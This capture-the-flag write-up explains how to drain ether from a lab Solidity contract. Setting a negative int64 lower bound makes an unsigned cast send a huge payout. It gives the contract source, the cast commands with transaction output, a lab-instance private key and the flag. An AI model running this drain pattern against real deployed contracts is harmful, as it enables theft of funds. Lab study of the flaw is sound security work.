Lucky Faucet
5 minutes to read
We are given a Solidity file called LuckyFaucet.sol
:
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
Moreover, we have this Setup.sol
, which is common in Solidity challenges:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
Here we see that the remote instance has deployed a LuckyFaucet
Smart Contract with 500 ether
, and we will solve the challenge if the Smart Contract has less than 490 ether
.
Solidity version
Once thing to notice is that these Smart Contract use a especific Solidity version, which is 0.7.6. In the rest of the challenges, they were using up-to-date versions. Obviously, this will be key to solve the challenge.
In fact, this version has some security issues and does not throw any exception if integer operations are not working as expected. For instance, it does not care about integer underflow/overflow (more information at www.halborn.com).
Exploitation
Notice that the Smart Contract will send us balance with sendRandomETH
:
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
But we will receive between 50_000_000 wei
and 100_000_000 wei
. These values, converted to ether
are insignificant (see eth-converter.com), and we need to take at least 10 ether
from the Smart Contract, which is 10_000_000_000_000_000_000 wei
.
But we can change the upper and lower bounds:
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
Notice that the value types are int64
, so they are considering signed integers. As a result, we can use negative numbers. In contrast, sendRandomETH
does a conversion to uint64
, which is unsigned.
As a result, due to the fact that negative integers, when interpreted as unsigned values have the most significant bit set to 1
, we can just enter a negative value in the lower bound and thus amountToSend
will be huge.
For instance, 0xffffffffffffffff
is -1
as an unsigned integer (hexadecimal format). In decimal, -1
is 18446744073709551615
, which corresponds to 18.44... ether
. This is enough to solve the challenge. Therefore, we will set the lower bound to -100_000_000 wei
, so that the integer that is converted to uint64
is negative.
First of all, let’s take the connection parameters:
$ nc 94.237.62.124 52145
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xde2656348b861481b52b6e843887879f888b96c52fabbbb973c4629622c993be
Address : 0x866f9AA3c4E4e482643e70F9EBA7E52Cb936ED5F
Target contract : 0x068325D1CE3178c178355a66F86419789D67aD9D
Setup contract : 0x525C599542808afFa706097A503433eC86Dd1fF0
^C
$ PRIVATE_KEY='0xde2656348b861481b52b6e843887879f888b96c52fabbbb973c4629622c993be'
$ ADDRESS_TARGET='0x068325D1CE3178c178355a66F86419789D67aD9D'
$ ADDRESS_SETUP='0x525C599542808afFa706097A503433eC86Dd1fF0'
$ export ETH_RPC_URL='http://94.237.62.124:39789'
Now we are ready to use cast
:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false
So, let’s update the lower bound and set -100000000
:
$ cast send --private-key $PRIVATE_KEY $ADDRESS_TARGET 'setBounds(int64, int64)' -- '-100000000' '100000000'
blockHash 0x7d0a8691b1057eebed5d51227066c4b4275148a2cb8c6f585a928bd6ef2be562
blockNumber 2
contractAddress
cumulativeGasUsed 27147
effectiveGasPrice 0
from 0x866f9AA3c4E4e482643e70F9EBA7E52Cb936ED5F
gasUsed 27147
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1 (success)
transactionHash 0xd6a558e9c98fc9d34c9f0a1c69c3020dbcbf2c9dc08feedacfebc16780cc2641
transactionIndex 0
type 2
blobGasPrice
blobGasUsed
to 0x068325D1CE3178c178355a66F86419789D67aD9D
depositNonce null
We can check that it has changed:
$ cast call $ADDRESS_TARGET 'lowerBound() (int64)'
-100000000 [-1e8]
Now, we are ready to use sendRandomETH
:
$ cast balance --ether $ADDRESS_TARGET
500.000000000000000000
$ cast send $ADDRESS_TARGET 'sendRandomETH()' --private-key $PRIVATE_KEY
blockHash 0xb29dc168d37ad0d59e01e135714a9fde652f7e36cacf6977eb0a9dc725afd4e5
blockNumber 3
contractAddress
cumulativeGasUsed 30463
effectiveGasPrice 0
from 0x866f9AA3c4E4e482643e70F9EBA7E52Cb936ED5F
gasUsed 30463
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1 (success)
transactionHash 0x503315fed18bff9a57c88a309a9ea3d6ccc8aee8b9c00c189204917665af5381
transactionIndex 0
type 2
blobGasPrice
blobGasUsed
to 0x068325D1CE3178c178355a66F86419789D67aD9D
depositNonce null
$ cast balance --ether $ADDRESS_TARGET
481.553255926586234658
As can be seen, we have taken more than 10 ether
from the Smart Contract, so the challenge is solved:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
true
Flag
And this is the flag:
$ nc 94.237.62.124 52145
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{f0rg07_ab0u7_1nt3g32_0v32f10w5}